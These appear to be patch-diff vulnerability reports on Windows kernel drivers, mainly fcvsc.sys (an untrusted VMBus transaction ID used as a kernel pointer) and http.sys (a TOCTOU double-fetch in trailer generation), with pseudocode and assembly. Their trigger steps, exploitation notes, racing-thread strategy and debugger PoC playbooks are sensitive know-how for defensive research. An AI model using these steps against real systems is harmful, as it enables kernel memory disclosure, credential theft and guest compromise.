Behavioral / Cosmetic Changes (Bulk Triage): The remaining functions (DXGDEVICE::EvictAllResources, DxgEnumHandleChildrenCB, DxgkGetDeviceStateInternal, DXGCHANNELENDPOINTPROXY::FreeHandle, DXGDEVICE::DestroyDeferredAllocations, ADAPTER_RENDER::FreeResourceHandleAndWaitForZeroReferences, DXGDEVICE::PinDirectFlipResources, DXGDEVICE::DisablePinnedHardware, DXGDEVICE::AppendAllocationListToResourceOrDevice, DXGDEVICE::DestroyClientResource, DXGDEVICE::GetDeviceExecutionState, DxgkCddEvict, DxgkCddMakeResident, DXGDEVICE::OpenCddPrimaryHandle, MapGpuVirtualAddressToAllocation, DXGDEVICE::CheckMultiPlaneOverlaySupport3, DXGDEVICE::ReportDeviceResources, DxgEscapeEvictWorker, DxgkOpenSyncObjectFromNtHandle2Impl, DXGDXGIKEYEDMUTEX::OpenSharedSurfForDevice, REMOTEVSYNCMAPPING::AddMapping, DxgkCreateSynchronizationObjectImpl, DXGDEVICE::TerminateAllocations, DxgkDestroyAllocationInternal, DXGDEVICE::CreateAllocation) primarily underwent structural restructuring, register reallocation by the compiler, and the addition of the same feature flag gates for various mutex operations that were subsequently cleaned up in the security-critical fixes.

9. Unmatched Functions

There were no added or removed functions between the unpatched and patched binaries. The patch relies entirely on modifying control flow and removing conditional feature flag branches inside existing functions.

10. Confidence & Caveats

Confidence Level: High. The patch differences clearly identify the removal of Feature_*_IsEnabled() wrappers around critical security boundaries (locking, reference counting, and authorization).
Assumptions Made: The analysis assumes the default state of the mentioned internal feature flags (Feature_1259646266, Feature_611095865, etc.) is FALSE in the unpatched production binary, given that their purpose in patching is to enable security mechanisms unconditionally.
Verification Required: A researcher developing a PoC must confirm the size of the DXGSHAREDVMOBJECT to prepare the kernel heap spray. Additionally, developing a reliable VMBus packet injector from a guest VM is required to actually trigger the race condition, which requires interacting with the Hyper-V integration components.

fcvsc.sys — untrusted host transaction ID dereferenced as kernel SRB pointer (CWE-822) fixed

2026-06-25T00:00:00-07:00

1. Overview

Unpatched Binary: fcvsc_unpatched.sys
Patched Binary: fcvsc_patched.sys
Overall Similarity Score: 0.9622
Diff Statistics: 73 matched functions (61 identical, 12 changed), 0 unmatched functions in either direction.
Verdict: The patch fixes a genuine critical flaw in the Hyper-V crash-dump storage client (fcvsc.sys): the driver used a raw kernel SRB pointer as the VMBus transaction ID and then dereferenced whatever value the host echoed back, giving a malicious host a controlled kernel-pointer write into the guest. The patch replaces the raw-pointer scheme with a bounded index-into-table lookup. The same patch adds several defense-in-depth checks (a hard cap on the SCSI sense length, validation of the host-negotiated ring-buffer size, and validation of completion-packet structure). Those secondary checks harden paths that were already bounded, so they are lower severity than the pointer fix.

2. Vulnerability Summary

Finding 1: Untrusted Pointer Dereference via VMBus Transaction ID

Severity: Critical
CWE: CWE-822 (Untrusted Pointer Dereference)
Affected Functions: CrashVscSendSrbRequest (origin of the transaction ID), CrashVscHwInterrupt (ISR that trusts the echoed value), CrashVscSrbCompletion (the sink that reads and writes through the pointer)
Root Cause: In the crash-dump send path the driver passes the raw kernel SRB pointer to the host as the VMBus transaction ID. On completion, the ISR takes the value the host echoes back and uses it directly as the SRB pointer argument to CrashVscSrbCompletion, with no validation. A malicious host can echo any 64-bit value; the guest kernel then treats it as an SRB structure — writing to fields at +0x03, +0x04, +0x10 and dereferencing the pointer stored at +0x20 as the destination of a copy. This is a host-controlled kernel write (and read) primitive inside the guest.
Attacker-Reachable Entry Point & Data Flow:
The guest sends an SRB request; CrashVscSendSrbRequest passes the raw SRB pointer as the VMBus transaction ID.
The malicious host returns a completion packet of type 3 whose transaction-ID field holds an attacker-chosen value.
CrashVscHwInterrupt reads that value from the received packet and passes it directly as the second argument (the "SRB pointer") to CrashVscSrbCompletion.
CrashVscSrbCompletion writes through and dereferences that attacker-controlled pointer.

Finding 2: Added hard cap on SCSI sense-data length (defense in depth)

Severity: Low (hardening)
Affected Functions: CrashVscSrbCompletion, StorChannelCopyPacketDataToSrb
Nature of change: Both builds already gate the sense-data copy on the SRB's own sense-buffer length field: the copy only runs when SenseInfoBufferLength (SRB+0x0B) >= host_sense_len (packet+0x15), and the copied size is the smaller host value. That is a matched buffer/length pair — the destination SRB+0x20 is bounded by the guest-owned length at SRB+0x0B. The patch adds an additional upfront check that fail-fasts (int 0x29) if the host sense length exceeds 0x14. Because the copy was already bounded by the guest's own SRB length field, this added cap is defense in depth, not the fix for a reachable overflow. In the unpatched crash path, the only way the destination and length become attacker-influenced is through Finding 1 (the SRB pointer itself is attacker-controlled); in the StorChannel path the SRB is a legitimate guest object.

Finding 3: Host-negotiated ring-buffer size validation (defense in depth)

Severity: Low
Affected Functions: StorChannelEstablishCommunications, CrashVscEstablishCommunications
Nature of change: During channel negotiation the driver stores a size value taken from the host's response. The patch adds if ((size - 1) > 0x7fffff) fail-fast before storing/using it. This bounds a host-controlled quantity; the demonstrable impact of an out-of-range value is a guest bugcheck, so this is a hardening change.

Finding 4: Completion-packet structure validation (defense in depth)

Severity: Low
Affected Function: StorChannelKmclPacketCompletionRoutine
Nature of change: The patch adds a prologue check that fail-fasts when a success completion (status >= 0) arrives with a NULL buffer or a length below 0x30, before the buffer is used.

Finding 5: IOCTL input-buffer size correction

Severity: Low
Affected Function: VscGetCrashInterfaceWorker
Nature of change: The IoBuildDeviceIoControlRequest input-buffer length is changed from 8 to 0x10, and the patched build initializes the additional input fields. This is an internal kernel-to-kernel IOCTL (not attacker-controllable). It corrects the buffer sizing and ensures the full structure is initialized before it is sent.

3. Pseudocode Diff

`CrashVscSendSrbRequest` & `CrashVscHwInterrupt` (Untrusted Pointer Fix)

// === UNPATCHED ===
NTSTATUS CrashVscSendSrbRequest(adapter, srb_ptr, extra) {
    // VULNERABILITY: the raw kernel SRB pointer is the transaction ID
    channel_send(channel, /*type*/2, /*transaction_id*/ srb_ptr, packet, 0x40, extra);
}

BOOLEAN CrashVscHwInterrupt(adapter) {
    // receive packet into local buffer; arg_10 = transaction ID echoed by host
    if (packet_type == 3)
        // VULNERABILITY: host-echoed value used directly as the SRB pointer
        CrashVscSrbCompletion(adapter, /*srb_ptr*/ arg_10, packet);
}

// === PATCHED ===
NTSTATUS CrashVscSendSrbRequest(adapter, srb_ptr, extra) {
    // scan adapter+0x18 table (0x3e8 slots) for a free entry
    for (i = 0; i < 0x3e8; i++)
        if (adapter->SrbTable[i] == 0) { adapter->SrbTable[i] = srb_ptr; index = i + 2; break; }
    if (!found) return 0xC0000001;
    // FIX: pass the bounded index as the transaction ID, not a pointer
    channel_send(channel, /*type*/2, /*transaction_id*/ index, packet, 0x40, extra, flags);
}

BOOLEAN CrashVscHwInterrupt(adapter) {
    if (packet_size < 0x40) fail_fast();          // FIX: minimum size
    if (packet_type == 3) {
        id = host_transaction_id;                 // arg_10
        if ((id - 2) > 0x3e7) fail_fast();        // FIX: index bounds check
        srb_ptr = adapter->SrbTable[id];          // look up the real pointer
        adapter->SrbTable[id] = NULL;             // clear slot (no reuse)
        if (!srb_ptr) fail_fast();
        if (srb_ptr->field_10 < host_value) fail_fast();
        CrashVscSrbCompletion(adapter, srb_ptr, packet);
    }
}

`CrashVscSrbCompletion` (added sense-length cap)

// === UNPATCHED ===
void CrashVscSrbCompletion(adapter, srb_ptr, packet) {
    // ... on the fixed-format sense branch (packet[0x0f] == 2):
    uint8_t host_len = packet[0x15];
    // EXISTING BOUND: copy only when the SRB's own sense length covers it
    if (srb_ptr->SenseInfoBufferLength /*+0x0b*/ >= host_len)
        memmove(srb_ptr->SenseInfoBuffer /*+0x20*/, &packet[0x1c], host_len);
}

// === PATCHED ===
void CrashVscSrbCompletion(adapter, srb_ptr, packet) {
    if (packet[0x0f] == 2) {
        uint8_t host_len = packet[0x15];
        if (host_len > 0x14) fail_fast();          // ADDED: hard cap (defense in depth)
        // ... same SenseInfoBufferLength gate then memmove
    }
}

4. Assembly Analysis

Untrusted pointer dereference

The unpatched send path puts the raw SRB pointer (rbp = arg2) into the transaction-ID argument.

; UNPATCHED CrashVscSendSrbRequest
00000001C00012E4  mov     rcx, [rsi+8]              ; channel object
00000001C00012ED  mov     [rsp+var_60], r14         ; extra data
00000001C00012F2  mov     r8, rbp                   ; VULNERABLE: raw SRB pointer as transaction ID
00000001C00012F5  mov     edx, 2                    ; packet type
00000001C00012FA  mov     [rsp+var_68], 40h         ; packet size
00000001C0001309  call    cs:__guard_dispatch_icall_fptr   ; channel send

In the ISR the unpatched driver hands the host-returned value straight to the completion routine as the SRB pointer.

; UNPATCHED CrashVscHwInterrupt (type 3 path)
00000001C00011C6  mov     rdx, [rbp+arg_10]         ; VULNERABLE: host-echoed transaction ID
00000001C00011CA  lea     r8, [rbp+var_40]          ; received packet
00000001C00011CE  mov     rcx, rbx                  ; adapter
00000001C00011D1  call    CrashVscSrbCompletion     ; rdx used as SRB pointer

Patch Change: CrashVscSendSrbRequest builds a 0x3e8-slot table at adapter+0x18, stores the SRB pointer, and sends the slot index (index = slot + 2) instead of the pointer:

; PATCHED CrashVscSendSrbRequest
00000001C0001354  lea     rcx, [rbp+18h]            ; table base at adapter+0x18
00000001C000135A  cmp     qword ptr [rcx], 0        ; scan for a free slot
00000001C0001367  cmp     rax, 3E8h                 ; up to 1000 slots
00000001C0001371  lea     rdi, [rax+2]              ; index = slot + 2
00000001C0001375  mov     [rbp+rax*8+18h], r15      ; store SRB pointer in table[slot]
00000001C00013B5  mov     r8, rdi                   ; FIX: send the index, not a pointer

CrashVscHwInterrupt now validates the returned index, looks up the real pointer, and clears the slot:

; PATCHED CrashVscHwInterrupt (type 3 path)
00000001C0001205  cmp     [rbp+arg_0], esi          ; packet size >= 0x40
00000001C0001208  jb      loc_1C0001292             ; else fail-fast
00000001C000121B  mov     rcx, [rbp+arg_10]         ; host-returned index
00000001C000121F  lea     rax, [rcx-2]
00000001C0001223  cmp     rax, 3E7h                 ; FIX: (index-2) <= 0x3e7
00000001C0001229  ja      short loc_1C0001238
00000001C000122B  mov     rdx, [rbx+rcx*8+8]        ; look up SRB pointer from table
00000001C0001230  and     qword ptr [rbx+rcx*8+8], 0 ; clear slot
00000001C000123D  jz      short loc_1C0001292       ; NULL pointer -> fail-fast
00000001C0001242  cmp     [rdx+10h], eax            ; validate SRB field before use
00000001C000124E  call    CrashVscSrbCompletion

Sense-data length (added cap over an existing bound)

The unpatched copy is already gated: it only runs when the SRB's own sense length (cl = SRB+0x0b) is at least the host-provided length (al = packet+0x15), and it copies that host value.

; UNPATCHED CrashVscSrbCompletion (fixed-format sense branch)
00000001C00015A3  mov     al, [r8+15h]              ; host sense length (packet+0x15)
00000001C00015A7  cmp     cl, al                    ; cl = SRB+0x0b (SenseInfoBufferLength)
00000001C00015A9  jb      short loc_1C00015C1       ; skip copy if SRB length < host length
00000001C00015AB  mov     rcx, [rsi+20h]            ; dest = SRB+0x20 sense buffer
00000001C00015AF  mov     rdx, rbx                  ; src = packet+0x1c
00000001C00015B2  movzx   r8d, al                   ; size = host length (<= cl)
00000001C00015B6  call    memmove

Patch Change: the patched routine adds an upfront hard cap that fail-fasts before any sense processing, keeping the same SRB+0x0b >= host_len gate afterwards:

; PATCHED CrashVscSrbCompletion
00000001C0001542  mov     bpl, [r8+15h]             ; host sense length
00000001C0001546  cmp     bpl, 14h
00000001C000154A  jbe     short loc_1C0001553       ; ok if <= 0x14
00000001C000154C  mov     ecx, 3Ah
00000001C0001551  int     29h                       ; RtlFailFast otherwise

StorChannelCopyPacketDataToSrb carries the identical existing gate (0x1C0003049: mov al,[rdi+15h]; cmp dl,al; jb skip) and gains the same > 0x14 fail-fast (0x1C0003025: cmp bpl, 14h; ja fail-fast).

5. Trigger Conditions

To exercise the untrusted-pointer flaw (Finding 1) as a malicious Hyper-V host:

Ensure the guest crash-dump storage client (fcvsc) is loaded and its VMBus channel is established.
Wait for the guest to issue an SRB via CrashVscSendSrbRequest; in the unpatched build the transaction ID it sends is the raw kernel SRB pointer.
Return a completion packet of type 3 whose transaction-ID field (arg_10) is an attacker-chosen value instead of the original pointer, and whose size is at least 0x40 bytes.
On receipt, CrashVscHwInterrupt passes that value directly to CrashVscSrbCompletion as the SRB pointer.
CrashVscSrbCompletion writes packet+0x18 to ptr+0x10, packet+0x0e to ptr+0x03, packet+0x0f to ptr+0x04, and (on the sense branch) reads ptr+0x0b/ptr+0x20 and copies into the buffer pointed to by ptr+0x20. With a chosen pointer value this is a controlled kernel write in the guest.
Observable effect on an invalid pointer: a guest bugcheck (for example PAGE_FAULT_IN_NONPAGED_AREA) when the pointer is dereferenced. With a valid attacker-chosen address, the write occurs silently.

6. Exploit Primitive & Development Notes

Provided Primitive (Finding 1): A malicious host controls the 64-bit value that the guest kernel uses as an SRB pointer. Through CrashVscSrbCompletion this yields writes of host-derived bytes to attacker-chosen offsets (+0x03, +0x04, +0x10) of an attacker-chosen base, plus a copy into the buffer whose pointer is read from base+0x20. That is a host-to-guest kernel write primitive with host-chosen target.
Reachability: The value flows from the VMBus completion callback (CrashVscHwInterrupt) with no bounds check in the unpatched build. It requires the host to be malicious or compromised; the attack direction is host-to-guest.
Constraints: The primitive is gated by the packet-type check (type 3) and the field layout that CrashVscSrbCompletion reads. The report does not assert a specific full-chain kernel code-execution technique for this build; the demonstrable, binary-supported primitive is the controlled pointer write described above.

7. Debugger PoC Playbook

To validate Finding 1 on an unpatched target VM with a kernel debugger:

Breakpoints: text bp fcvsc_unpatched!CrashVscHwInterrupt bp fcvsc_unpatched!CrashVscSrbCompletion
What to inspect:
At CrashVscHwInterrupt after the receive call returns: [rbp+arg_8] is the packet type (3 = SRB completion) and [rbp+arg_10] is the host-returned transaction ID (a raw SRB pointer in the unpatched build).
At the call site 0x1C00011D1: rdx is the value being passed as the SRB pointer — an attacker fully controls it as the host.
At CrashVscSrbCompletion entry (0x1C0001420): rcx = adapter, rdx = the SRB pointer (host-controlled in the unpatched build), r8 = received packet. db r8+15 L1 reads the sense-length byte; the destination pointer is read from rdx+0x20.
Key Instructions/Offsets:
0x1C00012F2 (mov r8, rbp): the raw SRB pointer is sent as the transaction ID.
0x1C00011C6 (mov rdx, [rbp+arg_10]): the host value is loaded as the SRB pointer.
0x1C00015B6 (call memmove): the sense copy, bounded by SRB+0x0b; note the destination rdx+0x20 is itself read from the host-controlled pointer in the unpatched build.
Trigger Setup: From the host side, after the guest sends an SRB, return a type-3 completion whose transaction-ID field is an attacker-chosen value with packet size >= 0x40.
Expected Observation: With an unmapped pointer, an immediate fault/bugcheck when CrashVscSrbCompletion writes through rdx. With a valid attacker-chosen address, the guest kernel memory at that address is modified without a crash.

8. Changed Functions — Full Triage

CrashVscSendSrbRequest: Replaced raw-pointer transaction IDs with an index into a 0x3e8-slot table at adapter+0x18; sends slot+2 instead of the pointer; clears the slot on send failure. Also computes transfer-length flags from the SRB direction bits and passes them as a new argument. Security-relevant (part of Finding 1).
CrashVscHwInterrupt: Added a packet-size check (>= 0x40), bounds check on the returned index ((index-2) <= 0x3e7), table lookup of the real SRB pointer, slot clearing, and SRB-field validation before completion. Security-relevant (Finding 1).
CrashVscSrbCompletion: Added an upfront hard cap (host_sense_len <= 0x14, else fail-fast) over the existing SenseInfoBufferLength (SRB+0x0b) >= host_len gate. Defense in depth (Finding 2). Also the sink for the Finding 1 pointer.
StorChannelCopyPacketDataToSrb: Added the same <= 0x14 sense-length cap and an SRB data-length capacity check (SRB+0x10 >= value, else fail-fast) over the existing sense-length gate. Defense in depth (Finding 2). In this path the SRB is a legitimate guest object.
StorChannelKmclPacketCompletionRoutine: Added validation that a success completion (status >= 0) has a non-NULL buffer of length >= 0x30 before use; now reads a length argument the unpatched build ignored. Defense in depth (Finding 4).
StorChannelEstablishCommunications: Added (ring_size - 1) <= 0x7fffff validation before storing the host size at context+0x54; added a bounce-buffer allocation and __security_check_cookie. Defense in depth (Finding 3).
StorChannelSendSrbRequest: Changed completion-context layout and added transfer-direction flags passed to the send call. Behavioral refactor, not security-relevant.
CrashVscEstablishCommunications: Added the same (ring_size - 1) <= 0x7fffff validation before storing the host size. Defense in depth (Finding 3).
CrashVscSendPacketSync: Added a 7th argument (0) to match the updated send signature; converted a silent unexpected-packet return into a fail-fast. Hardening/behavioral.
VscStartIO: Caps the maximum transfer length at 0x8000 ([rsi+0x50] clamped) and changes an inquiry-response word at [rsi+0x6a] from 0x8000 to 0x8003. Behavioral/hardening.
VscGetCrashInterfaceWorker: Changed the IoBuildDeviceIoControlRequest input length from 8 to 0x10, initialized the added input fields, and added __security_check_cookie. Internal IOCTL correctness (Finding 5).
CrashVscHwFindAdapter: Added a memset that zero-initializes the new table region at adapter+0x18 (0x1f40 bytes), and changed the configuration word at adapter-config+0x59 from 0x100 to 0x103. Infrastructure for Finding 1's table; not itself a vulnerability.

9. Unmatched Functions

There were no added or removed functions between the patched and unpatched binaries. All changes were implemented within existing function bodies.

10. Confidence & Caveats

Confidence Level: High for Finding 1: the unpatched send path uses the raw SRB pointer as the transaction ID and the ISR dereferences the host-echoed value with no validation; the patch introduces a bounded index-table indirection. The sense-length, ring-buffer, completion-structure, and IOCTL changes are confirmed in the binaries and are correctly characterized as defense-in-depth / correctness hardening.
Assumptions: The threat model is a malicious or compromised Hyper-V host attacking a guest. The reverse direction is not applicable, since a guest cannot spoof host VMBus responses.
Scope note: Finding 2's sense-data copy is bounded in both builds by the SRB's own SenseInfoBufferLength field (a matched buffer/length pair); the added <= 0x14 cap does not, by itself, close an otherwise-reachable overflow. Where the destination and length become attacker-influenced in the unpatched crash path, it is because of Finding 1 (the SRB pointer itself is host-controlled).

http.sys — TOCTOU double-fetch leading to kernel memory disclosure (CWE-367, CWE-200) in UlGenerateTrailers fixed

2026-06-29T00:00:00-07:00

1. Overview

Unpatched Binary: http_unpatched.sys
Patched Binary: http_patched.sys
Overall Similarity Score: 0.9921
Diff Statistics: 3587 matched functions, 3 changed functions, 3584 identical functions, and 0 unmatched functions in either direction.
Verdict: The patch eliminates a Time-of-Check to Time-of-Use (TOCTOU) double-fetch vulnerability in HTTP trailer generation (UlGenerateTrailers) that allows an attacker to swap a validated user-mode pointer for a kernel-mode address, resulting in arbitrary kernel memory disclosure.

2. Vulnerability Summary

Severity: High
Vulnerability Class: TOCTOU Race Condition / Double-Fetch (CWE-367) leading to Arbitrary Kernel Memory Disclosure (CWE-200).
Affected Function: UlGenerateTrailers (sub_1C000CF94) (trailer array iteration and serialization).

Root Cause

The vulnerable function, UlGenerateTrailers (sub_1C000CF94), serializes an array of HTTP trailers (headers emitted after a chunked response body) into an output buffer. The trailer array resides in user-mode memory. For each 24-byte entry, the function processes two data pointers (at offsets +0x8 and +0x10).

Depending on the Known Issue Rollback (KIR) feature flag UxKirHttpReadingTrailersFromUm, the unpatched binary can take a vulnerable code path (Path A, taken when the flag is 0). In Path A, the function reads the data pointer from the user-mode array and validates it using UlProbeAnsiString to ensure it points to a valid user-mode string. However, immediately before copying the data via memmove, the function re-reads the data pointer directly from the user-mode trailer array instead of using the previously validated pointer.

Because a user-mode thread can concurrently modify the contents of its own memory, an attacker can run a racing thread that continuously flips the data pointer between a valid user-mode address (to pass the UlProbeAnsiString check) and a target kernel-mode address. If the swap occurs in the narrow window between the probe and the memmove, the kernel will copy data from the attacker-supplied kernel address into the HTTP response output buffer, disclosing kernel memory to user mode. The patch captures the pointer once into a stack slot and reuses that validated value for the memmove, and removes the KIR flag branch so only the capture-once path remains.

Attack Surface & Data Flow

An attacker initiates an HTTP Server API operation from user mode (e.g., HttpSendHttpResponse with response trailers), triggering an NtDeviceIoControlFile syscall to \Device\Http\ReqQueue.
The kernel IOCTL dispatcher routes the request to HTTP.sys response processing functions (UlCaptureHttpResponse (sub_1C00DDA70) / sub_1c00ddff7).
The response preparation path (UlpPrepareHttpResponse (sub_1C00DE140)) prepares the output buffer and calls the vulnerable function UlGenerateTrailers (sub_1C000CF94).
UlGenerateTrailers (sub_1C000CF94) iterates over the user-supplied trailer array, triggering the TOCTOU double-fetch flaw on the trailer data pointers.

3. Pseudocode Diff

The core vulnerability lies in trusting user-mode memory across two consecutive reads. The patch ensures a single fetch (capture-once) pattern.

// --- UNPATCHED LOGIC (UlGenerateTrailers, Path A) ---
void UlGenerateTrailers(struct* trailer_array) {
    for (int i = 0; i < trailer_array->count; i++) {
        // FIRST FETCH: read pointer for validation, saved to stack (Src)
        void* data_ptr = trailer_array->entries[i].data_ptr; 

        if (UxKirHttpReadingTrailersFromUm == 0) { // Vulnerable Path A
            // Validate the originally fetched pointer
            UlProbeAnsiString(data_ptr, length, ...);

            // SECOND FETCH: re-read pointer directly from user-mode memory
            void* malicious_ptr = trailer_array->entries[i].data_ptr; // TOCTOU!

            // Copies data using the unvalidated re-read pointer
            memmove(output_buf, malicious_ptr, length); 
        } else {                                   // Path B (flag != 0)
            UlProbeAnsiString(data_ptr, length, ...);
            memmove(output_buf, data_ptr, length); // reuses captured Src (safe)
        }
    }
}

// --- PATCHED LOGIC (single path, no KIR flag) ---
void UlGenerateTrailers(struct* trailer_array) {
    for (int i = 0; i < trailer_array->count; i++) {
        // CAPTURE ONCE: read pointer into local stack slot (Src)
        void* data_ptr = trailer_array->entries[i].data_ptr; 

        // Validate the captured pointer
        UlProbeAnsiString(data_ptr, length, ...);

        // REUSE captured pointer. No re-read from user memory.
        memmove(output_buf, data_ptr, length); 
    }
}

4. Assembly Analysis

The double-fetch is visible in the unpatched assembly, where the pointer is fetched from the user-mode array (r13) twice on the UxKirHttpReadingTrailersFromUm == 0 path.

Unpatched Vulnerable Sequence (Primary Data Pointer)

; === CRITICAL: First fetch of data pointer (for probe) ===
0x1c000d0cf: mov     rcx, [r13+rax*8+8]           ; rcx = entry[idx].data_ptr (FIRST FETCH)
0x1c000d0d4: mov     [rsp+..Src], rcx             ; save captured ptr to stack (Src)
0x1c000d0e5: cmp     cs:UxKirHttpReadingTrailersFromUm, 0 ; check KIR feature flag
0x1c000d0ec: jz      0x1c000d125                  ; flag==0 => VULNERABLE PATH A

; === VULNERABLE PATH A (flag == 0): double-fetch ===
0x1c000d125: call    UlProbeAnsiString            ; probe captured ptr (rcx), len
0x1c000d12a: cmp     ebx, edi                     ; length <= remaining?
0x1c000d12c: jbe     0x1c000d13c                  ; yes => proceed to copy
0x1c000d13c: xor     eax, eax
0x1c000d142: mov     rbx, r12                     ; rbx = length
0x1c000d145: mov     r8, r12                      ; r8 = length (memmove size)
0x1c000d148: mov     r12, [rsp+..var_58]          ; r12 = saved loop index*3

; *** VULNERABLE INSTRUCTION ***
0x1c000d14d: mov     rdx, [r13+r12*8+8]           ; *** SECOND FETCH: re-read ptr from USER ARRAY ***

0x1c000d152: mov     rcx, r14                     ; rcx = output buffer dest
0x1c000d155: call    memmove                      ; memmove(out_buf, RE-READ ptr, len) -- RACE WINDOW

The Path B branch (flag != 0, fall-through at 0x1c000d0ee) instead reloads the captured pointer with mov rdx, [rsp+..Src] at 0x1c000d111 before memmove at 0x1c000d119, so it is not vulnerable.

Patched Safe Sequence

0x1c0028aa8: mov     rax, [r15+rax*8+8]           ; capture data ptr ONCE
0x1c0028aad: mov     [rsp+..Src], rax             ; store captured ptr (Src)
0x1c0028abe: mov     rcx, rax                     ; use captured ptr
0x1c0028ac1: call    UlProbeAnsiString            ; probe captured ptr
0x1c0028ace: cmp     r12d, esi                    ; bounds check
0x1c0028ae1: xor     eax, eax
0x1c0028aed: mov     rdx, [rsp+..Src]             ; *** REUSE captured ptr (no re-read)
0x1c0028afd: call    memmove                      ; memmove(out, captured ptr, len) -- SAFE

There is no KIR flag branch in the patched function; the capture-once path is unconditional. Note: A similar double-fetch pattern exists for the secondary data pointer (offset +0x10) at unpatched addresses 0x1c000d1d1 (probe) and 0x1c000d1f4 (re-read), copied at 0x1c000d1ff. The patched counterpart captures once at 0x1c0028b34, probes at 0x1c0028b4f, and copies from the captured value at 0x1c0028b7a.

5. Trigger Conditions

KIR Flag State: The target system must resolve the KIR feature flag UxKirHttpReadingTrailersFromUm to 0, enabling the vulnerable Path A. This flag is set in UxStartEnvironmentModule from Feature_2347446586__private_IsEnabledDeviceUsage; a value of 0 corresponds to the feature being rolled back / disabled.
API Setup: The attacker must use the HTTP Server API (Win32 HttpSendHttpResponse / HttpSendResponseEntityBody with response trailers) to trigger the vulnerable IOCTL path via NtDeviceIoControlFile on \Device\Http\ReqQueue.
Payload Layout: The response must carry at least one trailer entry, which maps to the 24-byte internal structure. The trailer count must be between 1 and 9,999 (0x270F).
The Race Condition: The attacker requires a concurrent racing thread within the same process. This thread must continuously overwrite the data pointer field (the trailer value pointer, at kernel struct offset +0x8 or +0x10).
Race Timing: The racing thread alternates the pointer between the original valid user-mode pointer and a target kernel address. The race must be won in the window between UlProbeAnsiString (0x1c000d125) and the re-read (0x1c000d14d).
Confirmation: If the race is won, the attacker observes kernel memory leaked into the HTTP response buffer. If the attacker supplies an invalid kernel address, the system crashes with a PAGE_FAULT_IN_NONPAGED_AREA (Bugcheck 0x50).

6. Exploit Primitive & Development Notes

Primitive: Arbitrary kernel memory disclosure (read).
Exploit Strategy: While strictly an information disclosure bug, it is highly powerful. By supplying a known kernel virtual address, the attacker can copy kernel pool data, token structures, or session structures into the HTTP response. This can easily be leveraged to defeat KASLR or steal credentials.
Heap Grooming: Not strictly required for the primitive itself, as the attacker directly specifies the read address.
Mitigations: Standard kernel mitigations like SMEP, SMAP, and CFG do not prevent information disclosure from kernel reads executed in kernel context. The only barrier is ensuring the target address is paged in and valid to avoid a bugcheck.
Reliability: The race window is extremely narrow (~6 instructions). The exploit should set thread affinity to a single CPU to force the racing thread and the HTTP.sys processing thread onto the same logical processor, using active spins to maximize the probability of a successful swap.

7. Debugger PoC Playbook

For a researcher with a kernel debugger (KD/WinDbg) attached to the unpatched binary, follow this playbook to confirm and trace the vulnerability:

Breakpoints

Set the following breakpoints to trace execution and validate the race:

bp http!UlGenerateTrailers ; (0x1c000cf94) Entry point. Examine initial arguments.
bp 0x1c000d0e5           ; KIR flag check. Ensure it routes to 0x1c000d125.
bp 0x1c000d125           ; UlProbeAnsiString call. Capture the original pointer (RCX).
bp 0x1c000d14d           ; *** VULNERABLE SECOND FETCH. Compare RDX to probed value.
bp 0x1c000d155           ; memmove call. Verify destination (RCX) and source (RDX).

What to Inspect at Each Breakpoint

At 0x1c000cf94 (Function Entry):
rdx (arg2): Pointer to the user-mode trailer struct.
[rdx+0x8]: Trailer count (must be < 0x2710).
[rdx+0x10]: User-mode trailer array pointer.
At 0x1c000d0e5 (KIR Flag Check):
Step over and ensure the execution takes the JZ branch to 0x1c000d125. If it falls through, the KIR flag is set and the safe capture-once path runs instead.
At 0x1c000d125 (UlProbeAnsiString):
rcx: The captured user-mode data pointer being probed.
Copy the value of rcx for comparison. Alternatively, inspect the Src stack slot where it is stored.
At 0x1c000d14d (Vulnerable Re-read):
r12: Contains the loop index * 3.
Inspect the instruction execution. Step over this instruction.
Verification: Compare the new rdx value to the rcx value from the previous breakpoint. If the PoC racing thread is active, you will eventually catch this where rdx contains a high address (e.g., 0xFFFF...) instead of a user-mode address.
At 0x1c000d155 (memmove):
rcx: Output buffer in kernel memory.
rdx: Source pointer (the attacker-controlled kernel address if the race was won).
r8: Length of the copy.

Trigger Setup

In user mode, initialize the HTTP Server API (HttpInitialize).
Create a request queue and register a URL.
Construct a response trailer array (each entry has name/value length fields and value pointers). Store the array in globally accessible user-memory.
Initialize a secondary thread that enters an infinite loop, using InterlockedExchange64 (or similar) to flip the trailer value pointer (offset +0x8 of the entry) between a valid string pointer and a target kernel address (e.g., 0xFFFFF90000000000).
Call HttpSendHttpResponse in a loop from the primary thread.
The kernel debugger will hit the breakpoints. Allow the loop to continue (g) until the breakpoint at 0x1c000d14d catches a modified pointer.

Expected Observation

When the TOCTOU race is won, you will observe at 0x1c000d155 that RDX is a kernel address. If you let the memmove execute and inspect the buffer at RCX, you will see raw kernel memory. If the PoC supplies an invalid address, the system will Bugcheck 0x50 (PAGE_FAULT_IN_NONPAGED_AREA) at the memmove instruction.

8. Changed Functions — Full Triage

UlGenerateTrailers (sub_1C000CF94) (Similarity: 0.7251 | Change: Security Relevant) The primary vulnerable function. The patch eliminates the UxKirHttpReadingTrailersFromUm-gated dual code path, forcing a single-fetch capture pattern for both primary and secondary trailer data pointers before passing them to UlProbeAnsiString and memmove.
UxStartEnvironmentModule (sub_1C01767B0) (Similarity: 0.9516 | Change: Behavioral) This function initializes the driver's KIR (Known Issue Rollback) feature flags by calling wil_InitializeFeatureStaging followed by a series of Feature_*__private_IsEnabledDeviceUsage probes. The patched build removes the Feature_2347446586__private_IsEnabledDeviceUsage call and its setnz cs:UxKirHttpReadingTrailersFromUm store (dropping the KIR flag set from 7 to 6). This deletes the rollback gate for the trailer double-fetch, consistent with the finalized UlGenerateTrailers fix. Remaining differences are recompilation artifacts (WPP trace GUID relocation, instruction reordering). No security-relevant regression.
sub_1C000D25B (Similarity: 0.9780 | Change: Cosmetic) A status-normalization tail block inside UlGenerateTrailers (maps 0x80000000/0x80000005 status codes to 0xC000000D). The patched counterpart is at 0x1C0028BD7; register/address shifts from recompilation only, no behavioral change.

9. Unmatched Functions

Removed: None.
Added: None.

10. Confidence & Caveats

Confidence: High. The diff provides explicit pseudocode and assembly evidence of a classic TOCTOU double-fetch.
Assumptions: The analysis assumes that the user-mode memory containing the header array pointers is mutable by a concurrent thread in the same process. This is a standard assumption for Windows user-mode APIs that probe user structures.
